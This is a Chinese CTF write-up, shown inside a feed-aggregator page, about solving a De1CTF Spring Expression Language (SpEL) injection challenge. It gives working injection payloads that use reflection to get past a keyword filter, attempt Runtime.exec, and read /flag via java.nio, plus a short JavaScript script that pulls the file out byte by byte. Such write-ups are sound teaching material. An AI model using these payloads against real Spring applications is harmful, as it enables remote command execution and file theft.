惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The Cloudflare Blog
U
Unit 42
F
Fortinet All Blogs
雷峰网
雷峰网
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
月光博客
月光博客
Y
Y Combinator Blog
罗磊的独立博客
V
Visual Studio Blog
大猫的无限游戏
大猫的无限游戏
J
Java Code Geeks
量子位
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
爱范儿
爱范儿
B
Blog RSS Feed
aimingoo的专栏
aimingoo的专栏
有赞技术团队
有赞技术团队
T
Tailwind CSS Blog
Microsoft Security Blog
Microsoft Security Blog
L
LangChain Blog
I
InfoQ
博客园 - 叶小钗
博客园 - 聂微东
Last Week in AI
Last Week in AI

Yesterday17's Blog

2026 新年解密红包 / Melody Flag | Yesterday17's Blog 谈谈 Iori 的设计思路(二):如何实现一个 Showroom 录制工具? | Yesterday17's Blog 谈谈 Iori 的设计思路(一):从 Nico Timeshift 说起 | Yesterday17's Blog Iori Minyami 0.1.0 发布 | Yesterday17's Blog 2025 新年解密红包 / Melody Flag | Yesterday17's Blog 使用 Cloudflare Warp 解决罗森票务的海外登录问题 | Yesterday17's Blog How To Blog 04: The Astro v5 Era | Yesterday17's Blog 谈谈 tokio::select! 的公平性 | Yesterday17's Blog Learning Pingora 05 - Connect with TLS | Yesterday17's Blog Leaving Bytedance | Yesterday17's Blog 大橋彩香 AsiaTour「Reflection」上海公演 个人向记录 & Repo | Yesterday17's Blog Recoving from burnout - What happened? | Yesterday17 Yubikey 重建手册 | Yesterday17's Blog How To Blog 03: Heimus | Yesterday17's Blog 🪧 Blog Migration Accouncement | Yesterday17's Blog Learn Your IDE - VSCode 是如何仅重启插件的? | Yesterday17's Blog How To Blog 02: Astro❤️Password | Yesterday17's Blog How To Blog 01: Why, How, and the Future | Yesterday17's Blog Learning Pingora 04 - Establish L4 Connection | Yesterday17's Blog Learning Pingora 03 - Upstreams and Peers | Yesterday17's Blog Learning Pingora 02 - A Simple HTTP Server | Yesterday17's Blog Learning Pingora 01 - Getting Started | Yesterday17's Blog 2024 新年解密红包 / Melody Flag | Yesterday17's Blog 向新的一年飞驰——记录 2023 | Yesterday17's Blog 「サクラノ刻」对话选摘(2) | Yesterday17's Blog PGP Key Revocation 注销声明 | Yesterday17's Blog 「サクラノ刻」对话选摘(1) | Yesterday17's Blog 2023 新年解密红包 / Melody Flag | Yesterday17's Blog 『蒼の彼方のフォーリズム』通关感想 | Yesterday17's Blog 单显卡直通教程 | Yesterday17's Blog
[CTF] SpEL 表达式与文件读取 | Yesterday17's Blog
Yesterday17 · 2020-05-04 · via Yesterday17's Blog

摸了这次的 De1CTF,深感自己知识积累不够。这次解出的唯一一道 Web 题是 SpEL 注入题,我们就从这道题入手来了解一下吧(

ToC

  • 题面
  • SpEL 简介
    • 数组
      • 不可修改
      • 可修改
    • Map
    • [] 运算符
    • new
    • T(class)
  • 构造尝试:java.lang.Runtime
    • 绕过 T(
    • 获取 getRuntime
    • exec
  • 构造尝试:java.nio
    • 文件读取
    • 获取内容
      • 逐字符获取
      • 直接转换
  • 总结
  • 参考

题面

题目描述如下:

Please calculate the content of file /flag

http://tounikaku_server_addr/

题目本体给的是一个计算器:

经过观察,发现本质是调用 /spel/calc 进行计算:

其实这里的 spel 已经算是提示了,但第一次接触并看不出来.jpg((,所以到了接口先试了一下 xjb 表达式:

搜了一下 EL1044E,确认是 SpEL 了。

SpEL 简介

SpEL,全程 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:

数组

不可修改

不可修改的数组可以通过 {a, a, b} 实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList

可修改

数组可以通过 {a, b + c} 实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable 了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList

值得注意的是,这里可以通过 ArrayList.toArray() 生成 Object[]

Map

Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMapjava.util.LinkedHashMap。创建的格式类似 JSON,这里就直接略过了。

[] 运算符

[] 运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值

整体语法和 JS 类似,但是有一些例外。对于 String 而言,[] 只能通过下标访问字符,因此 ''['class'] 会报错而 ''.class 没有问题。

(不知道是不是这道题的问题,待确认

new

在 SpEL 中可以通过 new 来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new,因此题解中并没有用到。

T(class)

使用诸如 T(java.lang.Runtime) 的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(,因此本题没有用到。

构造尝试:java.lang.Runtime

首先是测了一下 WAF 过滤的内容:

  • java.lang
  • new
  • getClass
  • T(
  • #
  • String
  • getMethod('exec').invoke()
  • Runtime
  • exec(

绕过 T(

由于 T( 被限制,因此我们需要通过另一种方式绕过 T(。这里我们使用的是 forName

''.class.forName('java'+'.lang.R'+'untime')

获取 getRuntime

由于 getRuntime 存在被过滤单词,因此只能通过反射获取方法:

''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))

成功获得 Runtime 实例:

exec

使用类似的方法构造 exec,并尝试执行:

''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')

然而,执行的结果表明:使用了 openrasp

由于 openrasp 不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。

构造尝试:java.nio

文件读取

得到了 @SeraphJack 的指点
得到了 @SeraphJack 的指点

这里尝试通过 java.nio 直接读取文件。题目告诉我们要去 /flag 读,因此只要尝试读取 /flag 的内容就可以了。

''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))

这里直接返回了一个 byte[],看来是成功了。

获取内容

逐字符获取

通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:

arr = [];

func = i =>

fetch(

"http://106.52.164.141/spel/calc?calc=" +

escape(

`''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]`

)

)

.then(t => t.text())

.then(t => arr.push(String.fromCharCode(t)));

for (let i = 0; i < 44; i++) await func(i);

(然而之前翻车了

最终正常拼接得到结果。

直接转换

依然是得到了指点(

尝试用这种方法获取字符串:

直接就读出来了(

总结

嘛,总之这题应该算是 SpEL 的入门题吧考验的还是 Java 功底。题中直接给出了 SpEL 的执行环境,而不是要靠我们去发掘。这至少告诉了我们在做 Java 题的时候还有这样一种注入手段,也是我们在使用 Spring 时所需要留意的,除去 SQL 注入的另一种注入漏洞。

参考